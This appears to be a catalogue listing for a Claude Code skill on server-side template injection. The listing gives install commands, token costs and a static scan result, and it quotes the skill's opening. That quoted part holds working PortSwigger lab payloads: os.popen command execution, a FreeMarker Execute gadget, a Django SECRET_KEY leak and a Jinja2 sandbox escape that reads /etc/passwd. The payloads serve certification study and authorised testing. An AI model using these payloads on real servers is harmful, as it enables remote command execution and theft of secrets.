Server-Side Template Injection — Complete Deep Dive

Server-Side Template Injection — Complete Deep Dive is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 29 tokens per session (1,237 once invoked), scanned A, original, Apache-2.0.

A security-testing study guide for server-side template injection, a vulnerability where user input is processed as template code on a web server. It uses PortSwigger Web Security Academy lab examples and payloads.

In plain words
What is it for?
It is for BSCP certification study, bug-bounty testing, and practicing exploitation chains with Burp Suite.
Why use it?
It helps testers understand how to identify and exploit template injection in controlled labs, including filter-bypass techniques.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit It is for BSCP certification study, bug-bounty testing, and practicing exploitation chains with Burp Suite.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/ssti

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for Server-Side Template Injection — Complete Deep Dive

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssti/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssti)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssti"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssti/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for Server-Side Template Injection — Complete Deep Dive

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssti"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssti.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 29 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,237 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00029 $0.01237
Opus 5 $0.00015 $0.00619
Sonnet 5 $0.00006 $0.00247
Haiku 4.5 $0.00003 $0.00124

Measured 8d ago against content hash a8b91ebfad5c, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

Server-Side Template Injection — Complete Deep Dive scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burp-suite, curl, sqlmap, ffuf, python, hashcat, ysoserial]

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

Walk the MRO chain to find `file` class or `subprocess.Popen`.
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/bug-hunting/deep-dive-labs/ssti/SKILL.md · 146 lines

How it starts

The opening of the file, as written. The whole thing — 146 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Server-Side Template Injection — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • BSCP certification prep
  • Real-world bug bounty hunting
  • Building exploitation chains
  • Understanding bypass techniques

Prerequisites

  • Burp Suite Professional
  • Burp Collaborator / interactsh
  • Browser with proxy configured

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Basic SSTI 🟡 PRACTITIONER

{{7*7}}

If output = 49 → template injection confirmed. Identify engine:

  • {{7*'7'}}7777777 = Jinja2/Twig
  • {{7*'7'}}49 = Twig
  • ${7*7} → FreeMarker
  • <%= 7*7 %> → ERB (Ruby)

Lab 2: Basic SSTI code context 🟡 PRACTITIONER

blog-post-author-display=user.name}}{%import+os%}{{os.popen('whoami').read()}}

Break out of expression context, import os module, execute command.

Lab 3: SSTI using documentation 🟡 PRACTITIONER

Read the template engine docs to find dangerous methods:

  • Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
  • FreeMarker: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

Lab 4: Unknown language documented exploit 🟡 PRACTITIONER

wrtz{{#with "s" as |string|}}
  {{#with "e"}}
    {{this}}
  {{/with}}
{{/with}}

Identify as Handlebars, then use documented RCE gadget.

Lab 5: Info disclosure via user objects 🟡 PRACTITIONER

{{settings.SECRET_KEY}}

Django: access settings object → extract SECRET_KEY → forge session cookie → admin access.

Lab 6: Sandboxed environment 🔴 EXPERT

Bypass Jinja2 sandbox:

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

Walk the MRO chain to find file class or subprocess.Popen.

Read the full file on GitHub · 146 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 146 lines · 29 tokens per session scan A a8b91ebfad5c

Subscribe to this mod's changes

Server-Side Template Injection — Complete Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 29 tokens to every session and 1,237 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.